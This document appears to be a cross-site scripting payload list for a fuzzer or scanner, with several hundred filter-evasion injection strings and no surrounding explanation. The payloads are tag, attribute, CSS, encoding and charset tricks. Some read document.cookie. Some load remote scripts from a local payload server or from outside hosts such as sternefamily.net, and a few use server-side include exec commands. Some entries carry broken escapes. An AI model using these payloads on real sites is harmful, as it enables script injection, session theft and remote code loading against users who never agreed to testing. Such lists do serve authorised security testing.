| <script src=%(jscript)s></script> |
| <script language=‘javascript‘ src=‘%(jscript)s‘></script> |
| <script>javascript:alert(1)</script> |
| <IMG SRC="javascript:javascript:alert(1);"> |
| <IMG SRC=javascript:javascript:alert(1)> |
| <IMG SRC=`javascript:javascript:alert(1)`> |
| <SCRIPT SRC=%(jscript)s?<B> |
| <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET> |
| <BODY ONLOAD=javascript:alert(1)> |
| <BODY ONLOAD=javascript:javascript:alert(1)> |
| <IMG SRC="jav ascript:javascript:alert(1);"> |
| <BODY onload!#$%%&()*~+-_.,:;[email protected][/|]^`=javascript:alert(1)> |
| <SCRIPT/SRC="%(jscript)s"></SCRIPT> |
| <<SCRIPT>%(payload)s//<</SCRIPT> |
| <IMG SRC="javascript:javascript:alert(1)" |
| <iframe src=%(scriptlet)s < |
| <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);"> |
| <IMG DYNSRC="javascript:javascript:alert(1)"> |
| <IMG LOWSRC="javascript:javascript:alert(1)"> |
| <BGSOUND SRC="javascript:javascript:alert(1);"> |
| <BR SIZE="&{javascript:alert(1)}"> |
| <LAYER SRC="%(scriptlet)s"></LAYER> |
| <LINK REL="stylesheet" HREF="javascript:javascript:alert(1);"> |
| <STYLE>@import‘%(css)s‘;</STYLE> |
| <META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet"> |
| <KCF STYLE="behavior: url(%(htc)s);"> |
| <STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>KCF |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);"> |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);"> |
| <IFRAME SRC="javascript:javascript:alert(1);"></IFRAME> |
| <TABLE BACKGROUND="javascript:javascript:alert(1)"> |
| <TABLE><TD BACKGROUND="javascript:javascript:alert(1)"> |
| <DIV STYLE="background-image: url(javascript:javascript:alert(1))"> |
| <DIV STYLE="width:expression(javascript:alert(1));"> |
| <IMG STYLE="kcf:expr/*KCF*/ession(javascript:alert(1))"> |
| <KCF STYLE="kcf:expression(javascript:alert(1))"> |
| <STYLE TYPE="text/javascript">javascript:alert(1);</STYLE> |
| <STYLE>.KCF{background-image:url("javascript:javascript:alert(1)");}</STYLE><A class="KCF"></A> |
| <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE> |
| <!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]--> |
| <BASE HREF="javascript:javascript:alert(1);//"> |
| <OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT> |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT> |
| <HTML xmlns:kcf><?import namespace="kcf" implementation="%(htc)s"><kcf:kcf>KCF</kcf:kcf></HTML>""","XML namespace."),("""<XML ID="kcf"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(1)"></B></I></XML><SPAN DATASRC="#KCF" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> |
| <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="KCF<SCRIPT DEFER>javascript:alert(1)</SCRIPT>"></BODY></HTML> |
| <SCRIPT SRC="%(jpg)s"></SCRIPT> |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4- |
| <form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X |
| <body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> |
| <P STYLE="behavior:url(‘#default#time2‘)" end="0" onEnd="javascript:alert(1)"> |
| <STYLE>a{background:url(‘s1‘ ‘s2)}@import javascript:javascript:alert(1);‘);}</STYLE> |
| <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&> |
| <SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT> |
| <style onreadystatechange=javascript:javascript:alert(1);></style> |
| <?xml version="1.0"?><html:html xmlns:html=‘http://www.w3.org/1999/xhtml‘><html:script>javascript:alert(1);</html:script></html:html> |
| <embed code=%(scriptlet)s></embed> |
| <embed code=javascript:javascript:alert(1);></embed> |
| <embed src=%(jscript)s></embed> |
| <frameset onload=javascript:javascript:alert(1)></frameset> |
| <object onerror=javascript:javascript:alert(1)> |
| <embed type="image" src=%(scriptlet)s></embed> |
| <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml> |
| <IMG SRC=&{javascript:alert(1);};> |
| <a href="javAascript:javascript:alert(1)">test1</a> |
| <a href="javaascript:javascript:alert(1)">test1</a> |
| <embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed> |
| <iframe srcdoc="<iframe/srcdoc=&lt;img/src=&apos;&apos;onerror=javascript:alert(1)&gt;>"> |
| alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//-- |
| ></SCRIPT>">‘><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> |
| <SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/kcf.js></SCRIPT> |
| <SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></SCRIPT> |
| <IMG SRC="javascript:alert(‘KCF‘);"> |
| <IMG SRC=javascript:alert(‘KCF‘)> |
| <IMG SRC=JaVaScRiPt:alert(‘KCF‘)> |
| <IMG SRC=javascript:alert("KCF")> |
| <IMG SRC=`javascript:alert("KCF says, ‘KCF‘")`> |
| <a onmouseover="alert(document.cookie)">kcf link</a> |
| <a onmouseover=alert(document.cookie)>kcf link</a> |
| <IMG """><SCRIPT>alert("KCF")</SCRIPT>"> |
| <IMG SRC= onmouseover="alert(‘kcf‘)"> |
| <IMG onmouseover="alert(‘kcf‘)"> |
| <IMG SRC="jav ascript:alert(‘KCF‘);"> |
| <IMG SRC="jav	ascript:alert(‘KCF‘);"> |
| <IMG SRC="jav
ascript:alert(‘KCF‘);"> |
| perl -e ‘print "<IMG SRC=java script:alert("KCF")>";‘ > out |
| <IMG SRC="  javascript:alert(‘KCF‘);"> |
| <SCRIPT/KCF SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT> |
| <SCRIPT/KCF SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT> |
| <BODY onload!#$%&()*~+-_.,:;[email protected][/|]^`=alert("KCF")> |
| <SCRIPT/SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT> |
| <SCRIPT/SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT> |
| <<SCRIPT>alert("KCF");//<</SCRIPT> |
| <SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/kcf.js< B > |
| <SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp< B > |
| <SCRIPT SRC=//127.0.0.1:3555/xss_serve_payloads/.j> |
| <IMG SRC="javascript:alert(‘KCF‘)" |
| </TITLE><SCRIPT>alert("KCF");</SCRIPT> |
| <INPUT TYPE="IMAGE" SRC="javascript:alert(‘KCF‘);"> |
| <BODY BACKGROUND="javascript:alert(‘KCF‘)"> |
| <IMG DYNSRC="javascript:alert(‘KCF‘)"> |
| <IMG LOWSRC="javascript:alert(‘KCF‘)"> |
| <STYLE>li {list-style-image: url("javascript:alert(‘KCF‘)");}</STYLE><UL><LI>KCF</br> |
| <IMG SRC=‘vbscript:msgbox("KCF")‘> |
| <IMG SRC="livescript:[code]"> |
| <BODY ONLOAD=alert(‘KCF‘)> |
| <BGSOUND SRC="javascript:alert(‘KCF‘);"> |
| <BR SIZE="&{alert(‘KCF‘)}"> |
| <LINK REL="stylesheet" HREF="javascript:alert(‘KCF‘);"> |
| <STYLE>BODY{-moz-binding:url("http://127.0.0.1:3555/xss_serve_payloads/kcf.xml#kcf")}</STYLE> |
| <STYLE>@import‘javasc ipt:alert("KCF")‘;</STYLE> |
| <IMG STYLE="KCF:expr/*KCF*/ession(alert(‘KCF‘))"> |
| exp/*<A STYLE=‘noKCF:noKCF("*//*");KCF:ex/*KCF*//*/*/pression(alert("KCF"))‘> |
| <STYLE TYPE="text/javascript">alert(‘KCF‘);</STYLE> |
| <STYLE>.KCF{background-image:url("javascript:alert(‘KCF‘)");}</STYLE><A class="KCF"></A> |
| <STYLE type="text/css">BODY{background:url("javascript:alert(‘KCF‘)")}</STYLE> |
| <KCF STYLE="KCF:expression(alert(‘KCF‘))"> |
| <KCF STYLE="behavior: url(KCF.htc);"> |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘KCF‘);"> |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnS0NGJyk8L3NjcmlwdD4="> |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(‘KCF‘);"> |
| <IFRAME SRC="javascript:alert(‘KCF‘);"></IFRAME> |
| <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> |
| <FRAMESET><FRAME SRC="javascript:alert(‘KCF‘);"></FRAMESET> |
| <TABLE BACKGROUND="javascript:alert(‘KCF‘)"> |
| <TABLE><TD BACKGROUND="javascript:alert(‘KCF‘)"> |
| <DIV STYLE="background-image: url(javascript:alert(‘KCF‘))"> |
| <DIV STYLE="background-image: url(javascript:alert(‘KCF‘))"> |
| <DIV STYLE="width: expression(alert(‘KCF‘));"> |
| <BASE HREF="javascript:alert(‘KCF‘);//"> |
| <object type="text/x-scriptlet" data="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></object> |
| <object type="text/x-scriptlet" data="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></object> |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://127.0.0.1:3555/xss_serve_payloads/kcf.html"></OBJECT> |
| <EMBED SRC="data:image/svg+xml;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED> |
| <SCRIPT SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.jpg"></SCRIPT> |
| <!--#exec cmd="/bin/echo ‘<SCR‘"--><!--#exec cmd="/bin/echo ‘IPT SRC=http://127.0.0.1:3555/xss_serve_payloads/kcf.js></SCRIPT>‘"--> |
| <!--#exec cmd="/bin/echo ‘<SCR‘"--><!--#exec cmd="/bin/echo ‘IPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></SCRIPT>‘"--> |
| <? echo(‘<SCR)‘;echo(‘IPT>alert("KCF")</SCRIPT>‘); ?> |
| Redirect 302 /axaakcf.jpg http://127.0.0.1:3555/xss_serve_payloads/kcf.html |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘KCF‘)</SCRIPT>"> |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(‘KCF‘);+ADw-/SCRIPT+AD4- |
| <A HREF="http://127.0.0.1/">KCF</A> |
| <A HREF="http://0x42.0x0000066.0x7.0x93/">KCF</A> |
| <A HREF="http://0102.0146.0007.00000223/">KCF</A> |
| <A HREF="htt p://6 6.000146.0x7.147/">KCF</A> |
| <iframe %00 src="	javascript:prompt(1)	"%00> |
| <svg><style>{font-family:‘<iframe/onload=confirm(1)>‘ |
| <input/onmouseover="javaSCRIPT:confirm(1)" |
| <sVg><scRipt %00>alert(1) {Opera} |
| <img/src=`%00` onerror=this.onerror=confirm(1) |
| <form><isindex formaction="javascript:confirm(1)" |
| <img src=`%00`
 onerror=alert(1)
 |
| <script/	 src=‘http://127.0.0.1:3555/xss_serve_payloads/kcf.js‘ /	></script> |
| <script/	 src=‘http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp‘ /	></script> |
| <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? |
| <iframe/src="data:text/html;	base64	,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="> |
| <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/ |
| "><h1/onmouseover=‘u0061lert(1)‘>%00 |
| <iframe/src="data:text/html,<svg onload=alert(1)>"> |
| <meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/> |
| <svg><script xlink:href=data:,window.open(‘https://127.0.0.1:3555/xss_serve_payloads/kcf.html‘)></script |
| <svg><script x:href=‘http://127.0.0.1:3555/xss_serve_payloads/kcf.js‘ |
| <svg><script x:href=‘http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp‘ |
| <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> |
| <iframe src=javascript:alert(document.location)> |
| <form><a href="javascript:u0061lert(1)">X |
| </script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror=‘eval(src)‘> |
| <img/	  src=`~` onerror=prompt(1)> |
| <form><iframe 	  src="javascript:alert(1)" 	;> |
| <a href="data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="	 >X</a |
| http://www.keralacyberforce<script .in>alert(document.location)</script |
| <a href=[�]"� onmouseover=prompt(1)//">XYZ</a |
| <img/[email protected]  onerror = prompt(‘1‘) |
| <style/onload=prompt(‘XSS‘) |
| <script ^__^>alert(String.fromCharCode(49))</script ^__^ |
| </style  ><script   :-(>/**/alert(document.location)/**/</script   :-( |
| �</form><input type="date" onfocus="alert(1)"> |
| <form><textarea onkeyup=‘u0061u006Cu0065u0072u0074(1)‘> |
| <script /***/>/***/confirm(‘uFF41uFF4CuFF45uFF52uFF54u1455uFF11u1450‘)/***/</script /***/ |
| <iframe srcdoc=‘<body onload=prompt(1)>‘> |
| <a href="javascript:void(0)" onmouseover=
javascript:alert(1)
>X</a> |
| <script ~~~>alert(0%0)</script ~~~> |
| <style/onload=<!--	> alert (1)> |
| <///style///><span %2F onmousemove=‘alert(1)‘>SPAN |
| <img/src=‘http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg‘ onmouseover=	prompt(1) |
| "><svg><style>{-o-link-source:‘<body/onload=confirm(1)>‘ |
| <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera} |
| <marquee onstart=‘javascript:alert(1)‘>^__^ |
| <div/style="width:expression(confirm(1))">X</div> {IE7} |
| <iframe/%00/ src=javaSCRIPT:alert(1) |
| //<form/action=javascript:alert(document.cookie)><input/type=‘submit‘>// |
| /*iframe/src*/<iframe/src="<iframe/[email protected]"/onload=prompt(1) /*iframe/src*/> |
| //|\ <script //|\ src=‘http://127.0.0.1:3555/xss_serve_payloads/kcf.js‘> //|\ </script //|\ |
| //|\ <script //|\ src=‘http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp‘> //|\ </script //|\ |
| </font>/<svg><style>{src:‘<style/onload=this.onload=confirm(1)>‘</font>/</style> |
| <a/href="javascript: javascript:prompt(1)"><input type="X"> |
| </plaintext></|><plaintext/onmouseover=prompt(1) |
| </svg>‘‘<svg><script ‘AQuickBrownFoxJumpsOverTheLazyDog‘>alert(1) |
| <a href="javascript:u0061le%72t(1)"><button> |
| <div onmouseover=‘alert(1)‘>DIV</div> |
| <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> |
| <a href="jAvAsCrIpT:alert(1)">X</a> |
| <a href=javascript:alert(document.cookie)>KCF</a> |
| <img src="/" =_=" title="onerror=‘prompt(1)‘"> |
| <%<!--‘%><script>alert(1);</script --> |
| <script src="data:text/javascript,alert(1)"></script> |
| <iframe/src //onload = prompt(1) |
| <iframe/onreadystatechange=alert(1) |
| <svg/onload=alert(1) |
| <input value=<><iframe/src=javascript:confirm(1) |
| <input type="text" value=`` <div/onmouseover=‘alert(1)‘>X</div> |
| http://www.<script>alert(1)</script .com |
| <iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe> |
| <svg><script ?>alert(1) |
| <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> |
| <img src=`xx:xx`onerror=alert(1)> |
| <meta http-equiv="refresh" content="0;javascript:alert(1)"/> |
| <math><a xlink:href="//127.0.0.1:3555/xss_serve_payloads/kcf.js">KCF |
| <math><a xlink:href="//127.0.0.1:3555/xss_serve_payloads/bmpz.bmp">KCF |
| <embed code="http://127.0.0.1:3555/xss_serve_payloads/kcf.swf" allowscriptaccess=always> |
| <svg contentScriptType=text/vbs><script>MsgBox+1 |
| <a href="data:text/html;base64_,<svg/onload=u0061le%72t(1)>">X</a |
| <iframe/onreadystatechange=u0061u006Cu0065u0072u0074(‘u0061‘) worksinIE> |
| <script>~‘u0061‘ ; u0074u0068u0072u006Fu0077 ~ u0074u0068u0069u0073. u0061u006Cu0065u0072u0074(~‘u0061‘)</script U+ |
| <script/src="data:text%2Fju0061vu0061script,u0061lert(‘u0061‘)"></script a=u0061 & /=%2F |
| <script/src=data:text/ju0061vu0061script,u0061%6C%65%72%74(/KCF/)></script |
| <object data=javascript:u0061le%72t(1)> |
| <script>+-+-1-+-+alert(1)</script> |
| <body/onload=<!-->
alert(1)> |
| <script allbrowserkcf>/*<script* */alert(1)</script |
| <img src ?kcf?/onerror = alert(1) |
| <svg><script>//
confirm(1);</script </svg> |
| <svg><script onlypossibleinopera:-)> alert(1) |
| <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>KCF |
| <script x> alert(1) </script 1=2 |
| <div/onmouseover=‘alert(1)‘> style="x:"> |
| <--`<img/src=` onerror=alert(1)> --!> |
| <script/src=data:text/javascript,alert(1)></script> |
| <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button> |
| "><img src=x onerror=window.open(‘https://127.0.0.1:3555/xss_serve_payloads/kcf.html‘);> |
| <form><button formaction=javascript:alert(1)>KCF |
| <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgnS0NGJyk8L3NjcmlwdD4=></object> |
| <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> |
| <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">KCF</a> |
| <sVg><scRipt %00>prompt(/ |
| w=window.open(‘invalidfileinvalidfileinvalidfile‘,‘target‘);setTimeout(‘alert(w.document.location);w.close();‘,1); |
| try%7Balert(1)%7Dcatch(e)%7Blocation.reload()%7D |
| <div id="alert(‘/kcf/‘)" style="x:expression(eval)(id)"> |
| 0\%22))}catch(e){alert(1)}// |
| <img language=vbs src=<b onerror=alert#1/1#> |
| <script>alert(1)/kcf/‘</script> |
| <script>alert(1)<!-- ‘</script> |
| <script> var a = "kcf"; alert(1); </script> |
| <script> var a=1‘; alert(1); </script> |
| <script> var x = "kcf"; alert(1); </script> |
| <img src="1" onerror="alert(1)"> |
| <img src="" onload=alert(1)> |
| <script> function a() {} </script> <img src=1 onerror="a();alert(1)"> |
| <img src=1 onerror="alert(1)"> |
| <img src=1 onerror"alert(1)"> |
| <svg><script>lo<sv>gChr(1)</script></svg> |
| <img src=# aaa;onerror="alert(1)"> |
| <a href=x onerror=alert(1)> |
| <script> var x = "asdf1 asdf"; alert(1); </script> |
| <img src=xx:xx;onerror=alert(1)> |
| <img src=x > onerror="console.alert(document.getElementsByTagName(‘html‘)[0].innerHTML)"> |
| <script> chr=String.fromCharCode(1); result=‘‘; try{ result=encodeURIComponent(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script> |
| <script> chr=String.fromCharCode(1); result=‘‘; try{ result=encodeURI(chr); }catch(e){} if(!/%/.test(result)&&result.length) { ids.push(1); } </script> |
| <img src=x > onerror=alert(1)> |
| <svg><script>alert(1)</script></svg> |
| <img src=xx:xx onerror="alert(1);alert(1)"> |
| <img src=xx:xx onerror=window[[‘alert‘]](1)> |
| "‘><img src="xx:xx" on error="alert(1);"> |
| <img src=xx:xx onerror=alert(1)> |
| <img src=xx:xx onerror =alert(1);> |
| <META HTTP-EQUIV="refresh" CONTENT="0.1; URL=javascript:void()//?;URL=javascript:alert(1)//"> |
| <meta http-equiv=refresh content="javascript:alert(‘1‘)"> |
| <a href="javascript:alert(1)">kcf</a> |
| <script> document.cookie=‘kcf‘; if(document.cookie !== ‘kcf‘) { alert(1,document.cookie); } </script> |
| htmlStr = ‘<a href="javascript:alert(1)">kcf</a>‘; document.getElementById(‘body‘).innerHTML = htmlStr; try { alert(1);}catch(e){alert(1);}; |
| htmlStr = ‘<a href="javascript:alert(1)">kcf</a>‘; document.getElementById(‘body‘).innerHTML = htmlStr; try { if(document.getElementById(‘body‘).firstChild.protocol === ‘javascript:‘) { alert(1); } }catch(e){alert(1);}; |
| <img src=x:xx onerror="try {execScript(‘a=1‘,‘vbs‘);alert(1);}catch(e){alert(1);}"> |
| <div style="color:red‘{} x:expression(alert(1))">.</div> |
| <img src=‘xx:x><img src=xx:x onerror=alert(1)>‘> |
| <img src=‘xx:x onerror="alert(1)">‘> |
| <img src=‘xx:x onerror="alert(1)">‘> |
| `"‘><img src="# onerror=alert(1)> |
| <img src=xx:xx onerror="x=‘‘,alert(1)//‘"> |
| <script>alert(alert(1))</script> |
| <script>x=‘<script><img src=xx:xx onerror=alert(1)>‘;</script> |
| <script>alert(1)<script></script> |
| --><img src=xxx:x onerror=alert(1)> --> |
| <img src=xx:xx# /onerror=alert(1)> |
| <img src=xx:xx alt=`/onerror=alert(1)//`> |
| <img src=xx:xx onerror=alert(1)> <a href=javascript:alert(1)>1</a> |
| <script>alert(1,1</script//)</script> |
| <script>alert(1,1</script/)</script> |
| <body> §iframe onload=confirm(/kcf/)> <img src=x:x onerror="innerHTML=previousSibling.nodeValue.replace(‘§‘,‘<‘)"> </body> |
| <b id="id1" x=begin0x9fa0end >`‘"></b><script>if (!/begin.end/.test(document.getElementById(‘id1‘).getAttribute(‘x‘))) { alert(1);}</script> |
| <b id="id1" x=begin0x2924end >`‘"></b><script>if (!/begin.end/.test(document.getElementById(‘id1‘).getAttribute(‘x‘))) { alert(1);}</script> |
| <img src=# onerror="alert(1)" > |
| <title>kcf<script>alert(1)</script></title> |
| <div style="kcf:expression(alert(1))"></div> |
| <div style="kcf:expression(alert(1))‘"></div> |
| <div style="kcf:expression(alert(1))"></div> |
| <div style="kcf:expression(alert(1))">kcf/div> |
| <img src=1 title= x:xx/onerror=alert(1)> |
| <script>if("x".length==2) { alert(1);}</script> |
| <script>if("x".length==1) { alert(1);}</script> |
| <img src=xxx:xxx title=1/onerror=alert(1)> |
| <script>if("xx" == "xx") { alert(1);}</script> |
| <img src=x onError="javascript:alert(1)"/> |
| "`‘><script>alert(1)</script> |
| <script type="text/javascript">alert(1);</script> |
| <script charset=‘utf-8‘>alert(1)</script> |
| <style></style><img src="about:blank" onerror=alert(1)//></style> |
| <script>a=‘kcf\‘;alert(1)//kcf‘;</script> |
| <script>try{eval("<></>");alert(1)}catch(e){alert(1)};</script> |
| <div class="foo1">kcf</div> <script>document.getElementsByClassName(‘foo1‘)[0]?alert(1):0</script> |
| "`‘/><img/onload=alert(1) src=""/> |
| <!--<img src=xxx:x onerror=alert(1)> --> |
| <script>/* */alert(1)// */</script> |
| "‘`>kcf<div style="font-family:‘foo;x:expression(alert(1));/*‘;">kcf |
| "‘`>kcf<div style="font-family:‘foo‘x:expression(alert(1));/*‘;">kcf |
| "‘`><script>a=/kcf;;i=0;alert(1);a/i;</script> |
| <a href="><script>alert(1)</script>" /> |
| "‘`><p><svg><script>a=‘kcf;alert(1)//‘;</script></p> |
| <p><svg><script>alert(1)</script></p> |
| <iframe src="vbscript:alert()></iframe> |
| kcf<div style="x:expression(alert(1))">kcf |
| kcf<div style="xexpression(alert(1))">kcf |
| <script src="data:text/plainalert(1)"></script> |
| <script src="data:,alert(1)"></script> |
| <script src="data:text/plain,alert(1)"></script> |
| <script> if (‘a‘.trim() === ‘‘) { alert(1); } </script> |
| "‘`><script>alert(1)</script> |
| "‘`><img src=xxx:x onerror=alert(1)> |
| ‘`"><script>alert(1)</script> |
| `"‘><img src=xxx:x onerror=alert(1)> |
| ‘"`><script>/* *alert(1)// */</script> |
| `‘"><script>window[‘alert‘](1)</script> |
| u0031+u0031u005b‘145166141154‘u005du0028‘141154145162164506151‘u0029 |
| u0030u005bu0022x65x76x61x6C"u005du0028u0027x61x6Cx65x72x74x28x31x29‘u0029 |
| 0[‘eval‘](‘alert(1)‘) |
| <a href="javascript:u0031+u0031u005b‘145166141154‘u005du0028‘141154145162164506151‘u0029">kcf</a> |
| <a href="javascript:\u0031+\u0031\u005b'\145\166\141\154'\u005d\u0028'\141\154\145\162\164\50\61\51'\u0029">kcf</a> |
| <input id=‘1‘><input id=1><script>alert(1)</script> |
| <a href="invalid:1" id=x name=y>kcf</a><a href="invalid:2" id=x name=y>kcf</a><script>alert(x.y[0])</script> |
| <a href=1 name=x>kcf</a><a href=1 name=x>kcf</a><script>alert(x.removeChild)//undefinedalert(x.parentNode)//undefined</script> |
| <a href="123" id=x>kcf</a><script>x=‘javascript:alert(1)‘//only in compat!;</script> |
| <form name=self location="javascript:alert(1)"></form><script>if(top!=self){ top.location=self.location}</script> |
| <form name=self location="javascript&#58;alert(1)"></form><script>if(top!=self){ top.location=self.location}</script> |
| <iframe name=x></iframe>"></iframe><a href="http://127.0.0.1:3555/xss_serve_payloads/kcf.html" target=x id=x></a><script>window.onload=function(){x.click()}</script> |
| %3Cform%20name%3D%22body%22%20onmouseover%3D%22alert(1)%22%20style%3D%22height%3A800px%22%3E%3Cfieldset%20name%3D%22attributes%22%3E%3Cform%3E%3C%2Fform%3E%3Cform%20name%3D%22parentNode%22%3E%3Cimg%20id%3D%22attributes%22%3E%3C%2Fform%3E%3C%2Ffieldset%3E%3C%2Fform%3E |
| "onmouseover="alert(1)"a=" |
| ‘onmouseover=‘alert(1)‘a=‘ |
| ‘%20onmouseover=alert(1)‘ |
| %22%20onmouseover=javascript:alert(1)%20%22 |
| ‘);alert(1);// |
| );alert(1)// |
| ‘);alert(1)// |
| %26%2339;-alert(1)// |
| %22);alert(1);// |
| %E0<body onload=alert(1)> |
| %00<body onload=alert(1)> |
| kcf‘%20alert(1)%2F%2F |
| kcf%22%20alert(1)%2F%2F |
| %5C%5C‘%2Balert(1)%3B%2F%2F |
| %3Cscript%3Ealert(1)%3B%3C%2Fscript%3E |
| alert(1)%3B |
| %3Cscript%3Ea%3D%2FKCF%2F |
| alert(1)%3C%2Fscript%3E |
| %22%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E |
| kcf%20-%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E |
| kcf%20%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E |
| <SCRIPT>alert(1);</SCRIPT> |
| "><IMG SRC=javascript:alert(1)> |
| <META HTTP-EQUIV="Link" Content="<javascript:alert(1)>; REL=stylesheet"> |
| <STYLE>.KCF{background-image:url("javascript:alert(1)");}</STYLE><A class="KCF"></A> |
| <!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert(1);"> |
| <img src=a onerror=alert(1) %0A> |
| <img src="x" class="‘‘onerror=alert(1)"> |
| 0<aside xmlns="x><img src=x onerror=alert(1)">1</aside> |
| 0<aside xmlns="x><script>alert(1)</script>">1</aside> |
| 0<aside xmlns="foo:img src=x onerror=alert(1)>">123 |
| <p style="font-family:‘223bx:expression(alert(1))/*‘"> |
| <p style="font-family: ‘foo273b color3a expression(alert(1))/* |
| <p style="fon223e3cimg20src3dx20onerror3d alert28 1293et-family:‘foobar‘"> |
| <p style="filter: ‘expression(alert(1))‘"> |
| <svg><style><img src=x onerror=alert(1)></svg> |
| <p style="font-family: ‘foo&x5c;27&#x5c;3bx:expr&#x65;ession(alert(1))‘"> |
| <iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> |
| <svg><script xlink:href=data:,window.open(‘http://www.opensecurity.in‘)></script |
| http://www.opensecurity<script .in>alert(document.location)</script |
| <blink/ onmouseover=prompt(1)>OnMouseOver |
| <div/style="width:expression(confirm(1))">X</div> |
| <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> |
| <math><a xlink:href="//127.0.0.1:3555/xss_serve_payloads/kcf.js">click |
| <embed code="http://127.0.0.1:3555/xss_serve_payloads/flash.swf" allowscriptaccess=always> |
| <script itworksinallbrowsers>/*<script* */alert(1)</script |
| <img src ?itworksonchrome?/onerror = alert(1) |
| <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe |
| "><img src=x onerror=window.open(‘http://www.opensecurity.in/‘);> |
| <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object> |
| <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a> |
| <svg+onload=confirm(1);> |
| <svg onload=prompt(1);> |
| <input+onfocus=alert(1)> |
